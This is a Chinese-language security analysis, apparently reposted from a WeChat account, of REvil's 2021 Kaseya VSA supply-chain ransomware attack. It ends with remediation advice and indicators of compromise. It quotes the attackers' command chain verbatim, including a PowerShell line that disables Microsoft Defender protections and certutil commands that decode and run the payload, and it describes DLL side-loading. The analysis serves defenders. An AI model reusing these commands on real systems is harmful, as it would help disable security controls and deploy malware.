事件概述
近日,REvil 团伙利用 Kaseya VSA 软件中的0 day漏洞(CVE-2021-30116)针对全球多个托管服务提供商 (MSP) 及其客户发起供应链攻击。
KaseyaVSA是MSP常用来管理客户网络的 RMM(远程监控和管理)软件,利用CVE-2021-30116(目前尚未公开披露)可以绕过认证并运行任意命令。该漏洞之前已由荷兰的安全研究人员向 Kaseya 披露,但在补丁尚未推出之前就被REvil 勒索组织利用,并于2021年7月2日针对全球托管服务提供商(MSP)发起了大规模攻击,破坏其VSA基础设施并向VSA内部服务器推送恶意更新,在企业网络上部署勒索软件,导致供应链攻击。
作为响应,Kaseya建议立即关闭VSA 服务器,因为攻击者做的第一件事就是关闭对VSA的管理访问。之后,可从Internet 访问的 Kaseya VSA 实例数量已从2200 多个下降到不到 140 个。
可从Internet访问的Kaseya VSA 实例数量
之后,Kaseya表示,REvil供应链勒索软件攻击入侵了约60个使用该公司VSA内部产品的客户的系统,受害者近1500名,因为他们的网络是由MSP使用Kaseya远程管理工具管理的。此外,Revil的攻击者是通过VSA 产品功能部署勒索软件的,目前没有证据表明 Kaseya 的 VSA 代码库已被篡改。
REvil声称已经加密了超过 1,000,000 个系统,最初其要求 7000 万美元的赎金,现在要求 5000 万美元购买通用解密器。
分析
REvil是一种勒索软件即服务 (RaaS),由向勒索软件开发人员支付报酬的“附属”参与者团体运营。在这次攻击中,REvil攻击者不仅在 Kaseya 的供应链中发现了一个新漏洞,而且还使用恶意软件保护程序作为 REvil的传递工具。
7月4日,REvil 的运营者在他们的“Happy Blog”上发帖称,有超过一百万的个人设备感染恶意软件。他们还表示,愿意为受害者提供通用解密器,但条件是向他们支付价值 70,000,000 美元的比特币。
恶意软件交付
该恶意软件是从受感染的 VSA 服务器发送到托管在 Windows 设备上运行的 VSA 代理应用程序的Payload进行传播的,似乎是利用Kaseya VSA中的0 day漏洞实现的。
这在几个方面为REvil提供了掩护:它通过一个受信任的渠道进行初始入侵,并利用对VSA agent代码的信任,导致Kaseya代理监视器执行的任何操作都会被忽略,使得REvil可以不受审查地部署其投放器。
Kaseya代理监视器(位于C:PROGRAMFILES (X86)KASEYA<ID>AGENTMON.EXE,其中ID是连接到监视器实例的服务器的识别密钥)依次将Base64编码的恶意Payload AGENT.CRT写入VSA代理 " working"目录,以进行更新(默认为C:KWORKING)。AGENT.CRT被编码以防止恶意软件防御系统在它被投放时通过模式扫描和机器学习执行静态文件分析,这些检测技术通常对可执行文件起作用(不过,由于这个文件被部署在Kaseya 排除的 " working "目录下,这很可能不会起作用)。
部署了Payload后,Kaseya 代理运行了以下Windows shell命令,并将其串联成一个字符串。
恶意Kaseya 更新执行的命令行
执行内容大致如下:
ping 127.0.0.1 -n 5693 > nul
第一个命令本质上是一个计时器。PING命令有一个-n参数,指示WindowsPING.EXE工具向localhost(127.0.0.1)发送echo请求,在示例中为 5,693个。这充当了一个 "睡眠 "功能,使随后的PowerShell命令延迟5,693秒,即大约94分钟。5,693这个数值在每个受害者系统上都是不同的,表明这个数字是在每个VSA服务器上随机产生的,是向受害者发送恶意命令的代理程序的一部分。
C:WindowsSystem32WindowsPowerShellv1.0powershell.exeSet-MpPreference -DisableRealtimeMonitoring $true-DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true-DisableScriptScanning $true -EnableControlledFolderAccess Disabled-EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled-SubmitSamplesConsent NeverSend
命令字符串的下一部分是 PowerShell 命令,它尝试禁用 Microsoft Defender 提供的核心恶意软件和反勒索软件保护:
-
实时保护
-
防止利用已知漏洞的网络保护
-
扫描所有下载的文件和附件
-
扫描脚本
-
勒索软件防护
-
防止任何应用程序访问可能承载网络钓鱼诈骗、漏洞利用和 Internet 上其它恶意内容的危险域的保护
-
与Microsoft Active Protection Service (MAPS) 共享潜在威胁信息
-
自动向Microsoft 提交样本
关闭这些功能是为了防止 Microsoft Defender 阻止后续的恶意文件和活动。
copy /Y C:WindowsSystem32certutil.exeC:Windowscert.exe
这将创建Windows证书工具CERTUTIL.EXE的副本,它是一个经常使用的Living-Off-the-Land Binary(LOLBin),能够下载和解码web编码的内容。该副本被写入C:WINDOWSCERT.EXE。
echo %RANDOM%>> C:Windowscert.exe
这会在复制的CERTUTIL的末尾附加一个随机的5位数字。这可能是为了防止反恶意软件产品通过签名识别出CERT.EXE是CERTUTIL的副本,发现CERTUTIL被滥用。
C:Windowscert.exe-decode c:kworkingagent.crt c:kworkingagent.exe
复制的CERTUTIL用于解码Base64编码的Payload文件AGENT.CRT,并将其写入Kaseya文件夹中的可执行文件AGENT.EXE。AGENT.EXE有一个有效的Authenticode(验证码),用 "PB03 TRANSPORT LTD "的证书签名,该证书可能是REvil恶意软件通过盗窃或欺诈方式获得的。AGENT.EXE包含一个2021年7月1日(14:40:29)的编译器时间戳,日期是攻击的前一天。
REvil Kaseyadropper上的数字签名
del /q /f c:kworkingagent.crtC:Windowscert.exe
原始Payload文件 C:KWORKINGAGENT.CRT 和 CERTUTIL 的副本被删除。
c:kworkingagent.exe
最后,AGENT.EXE被Kaseya的AGENTMON.EXE进程启动(继承其系统级权限),然后开始实际投放勒索软件。
隐蔽
AGENT.EXE 的反汇编代码
AGENT.EXE投放了一个意外的文件:MSMPENG.EXE,一个旧的微软反恶意软件的版本。这是一个合法但脆弱的WindowsDefender的应用程序,版本为4.5.218.0,由微软于2014年3月23日签署。
这个版本的MSMPENG.EXE容易受到侧面加载攻击,我们之前也观察到该版本的应用程序被滥用。在侧面加载攻击中,恶意代码被放入一个动态链接库(DLL)中,其名称与目标可执行文件所需的动态链接库相匹配,并且通常被放置在与可执行文件相同的文件夹中。
在这个案例中,AGENT.EXE在MSMPENG.EXE可执行文件旁放置了一个名为MPSVC.DLL的恶意文件。然后AGENT.EXE执行MSMPENG.EXE,后者检测到恶意的MPSVC.DLL文件并将其加载到自己的内存空间。
MPSVC.DLL还包含应用于AGENT.EXE的 "PB03 TRANSPORT LTD"证书。MPSVC.DLL似乎是在2021年7月1日星期四(14:39:06)编译的,就在编译AGENT.EXE之前。
之后,MPSVC.DLL中的恶意代码劫持了进程的正常执行流程,当MSMPENG.EXE调用恶意MPSVC.DLL中的ServiceCrtMain函数(也是合法MPSVC.DLL中的主函数)时:
分析
一旦DLL被加载到内存中,恶意软件就会将其从磁盘中删除。
MSMPENG.EXE在恶意的MPSVC.DLL的控制下,开始加密本地磁盘、连接的可移动驱动器和映射的网络驱动器,这些都来自微软签名的应用程序,安全控制通常信任该应用程序并允许其不受阻碍地运行。
从这里开始,这个REvil在技术上与最近的其它REvil勒索活动非常相似。它执行NetShell(netsh)命令来更改防火墙设置,允许本地Windows系统被其他计算机在本地网络上发现(netsh advfirewallfirewall set rule group="Network Discovery" new enable=Yes),然后它开始加密文件。
REvil执行原地加密,加密的文件与未加密的原始文件存储在相同的扇区,因此无法使用数据恢复工具恢复原始文件。REvil 的高效文件系统活动显示了在专用线程上执行的特定操作:
该勒索软件在多个单独的线程上运行存储访问(读取原始文件和写入加密文件)、密钥 blob 嵌入和文件重命名,以便更快地进行破坏。在加密每个文件时,会在其名称末尾添加一个随机扩展名。
Step |
Thread |
操作 |
目的 |
1 |
A |
CreateFile (通用读取) |
以只读方式打开原始文档。 |
2 |
A |
ReadFile |
读取原始文档的最后 232 个字节(查找解密 blob)。 |
3 |
A |
CloseFile |
关闭原始文档(不做任何更改)。 |
4 |
A |
CreateFile(通用读/写) |
打开原始文档进行读取和写入。 |
5 |
B |
ReadFile |
读取原始文档。 |
6 |
C |
WriteFile |
在原始文档中写入加密文档。 |
7 |
C |
WriteFile |
将解密 blob(232 字节)添加到文件末尾。 |
8 |
B |
CloseFile |
关闭现在加密的文档。 |
9 |
B |
CreateFile(读取属性) |
打开加密文档。 |
10 |
B |
SetRenameInformationFile |
通过添加文件类型扩展名来重命名文档,例如“.w3d1s”。 |
11 |
B |
CloseFile |
关闭现在重命名的加密文件。 |
使用相同的随机扩展名作为文件名的一部分(如,"39ats40-readme.txt")投放赎金说明。
赎金说明
与其他攻击相比,这次攻击有一些引人注意的地方。首先,由于其大规模部署,REvil攻击没有明显的泄露数据。攻击在某种程度上是根据组织的规模定制的,这意味着REvil攻击者可以访问VSA服务器实例,并能够识别MSP的个人客户与大型组织的不同。并且没有删除卷影副本的迹象(这是勒索软件的常见行为,会触发防恶意软件)。
REvil Kaseya攻击流程图
步骤如下:
0 安装命令
1 PowerShell 命令试图停止Windows Defender
2 重命名的CERTUTIL.EXE 从 AGENT.CRT 解码 AGENT.EXE
3 执行 AGENT.EXE,将 MSMPENG.EXE 和 MPSVC.DLL 放入 C:Windows中
4 执行 MSMPENG.EXE,并加载 REvil DLL
5 文件被加密,创建赎金通知
6 Netsh.exe 开启网络发现
按照赎金通知上的指示,受害者会被带到这个页面,要求用Monero支付。
支付页面
这次攻击中,大多数受害者被要求的赎金为 45,000 美元,一周后增加到 90,000 美元。
该勒索软件的Tor页面提供了关于如何购买Monero的说明,允许解密一个样本文件,并提供了一个与REvil的运营商进行谈判的聊天渠道。
总结
在本次攻击中,REvil使用供应链攻击,利用供应商从防恶意软件中的优势,以及用其它合法(和微软签名的)进程进行侧面加载攻击。
此外,虽然供应链0 day漏洞比较少见,但在近两年中被攻击者利用的越来越多,比如影响广泛的SolarWinds供应链攻击。
修复建议
建议受影响的 MSP及时应用以下措施:
-
下载KaseyaVSA 检测工具。该工具会分析系统(VSA服务器或受管端点),并确定是否存在任何入侵指标(IOC)。下载链接:https://kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbcjxhas40。
-
在组织控制下的每个账户上启用和执行多因素认证(MFA),并尽可能为面向客户的服务启用和实施 MFA,关键网络资源管理帐户尽量使用最小权限原则。
-
实施许可名单将与远程监控和管理(RMM)功能的通信限制在已知的IP地址。
-
或将RMM的管理接口放在虚拟专用网络(VPN)或专用管理网络上的防火墙之后。
-
确保备份是最新的,并存储在与组织网络隔离的易于检索的位置。
-
恢复到供应商补救指南的手动补丁管理流程,在新补丁可用时立即安装。
IoC
Indicator_type |
Data |
备注 |
file_path_name |
C:windowscert.exe |
CERTUTIL副本 |
file_path_name |
C:windowsmsmpeng.exe |
旧的 Defender 可执行文件容易受到 DLL 侧面加载攻击 |
sha256 |
33bc14d231a4afaa18f06513766d5f69d8b88f1e697cd127d24fb4b72ad44c7a |
旧的 Defender 可执行文件容易受到 DLL 侧面加载攻击 |
file_path_name |
C:kworkingagent.crt |
Kaseya 漏洞利用中使用的 Revil dropper |
sha256 |
d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1 |
Kaseya 漏洞利用中使用的 Revil dropper |
file_path_name |
C:windowsmpsvc.dll |
Revil DLL |
sha256 |
8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd |
Revil DLL |
domain |
ncuccr.org |
|
domain |
1team.es |
|
domain |
4net.guru |
|
domain |
35-40konkatsu.net |
|
domain |
123vrachi.ru |
|
domain |
4youbeautysalon.com |
|
domain |
12starhd.online |
|
domain |
101gowrie.com |
|
domain |
8449nohate.org |
|
domain |
1kbk.com.ua |
|
domain |
365questions.org |
|
domain |
321play.com.hk |
|
domain |
candyhouseusa.com |
|
domain |
andersongilmour.co.uk |
|
domain |
facettenreich27.de |
|
domain |
blgr.be |
|
domain |
fannmedias.com |
|
domain |
southeasternacademyofprosthodontics.org |
|
domain |
filmstreamingvfcomplet.be |
|
domain |
smartypractice.com |
|
domain |
tanzschule-kieber.de |
|
domain |
iqbalscientific.com |
|
domain |
pasvenska.se |
|
domain |
cursosgratuitosnainternet.com |
|
domain |
bierensgebakkramen.nl |
|
domain |
c2e-poitiers.com |
|
domain |
gonzalezfornes.es |
|
domain |
tonelektro.nl |
|
domain |
milestoneshows.com |
|
domain |
blossombeyond50.com |
|
domain |
thomasvicino.com |
|
domain |
kaotikkustomz.com |
|
domain |
mindpackstudios.com |
|
domain |
faroairporttransfers.net |
|
domain |
daklesa.de |
|
domain |
bxdf.info |
|
domain |
simoneblum.de |
|
domain |
gmto.fr |
|
domain |
cerebralforce.net |
|
domain |
myhostcloud.com |
|
domain |
fotoscondron.com |
|
domain |
sw1m.ru |
|
domain |
homng.net |
Network
35.226.94[.]113
161.35.239[.]148
162.253.124[.]162
Web Log
POST/dl.asp curl/7.69.1
GET/done.asp curl/7.69.1
POST/cgi-bin/KUpload.dll curl/7.69.1
GET/done.asp curl/7.69.1
POST/cgi-bin/ KUpload.dll curl/7.69.1
POST/userFilterTableRpt.asp curl/7.69.1
参考链接
https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-July-2nd-2021
https://helpdesk.kaseya.com/hc/en-gb/articles/4403584098961-Incident-Overview-Technical-Details
https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa
https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/
https://www.bleepingcomputer.com/news/security/kaseya-roughly-1-500-businesses-hit-by-revil-ransomware-attack/
本文始发于微信公众号(维他命安全):勒索软件REvil:Kaseya VSA供应链攻击分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论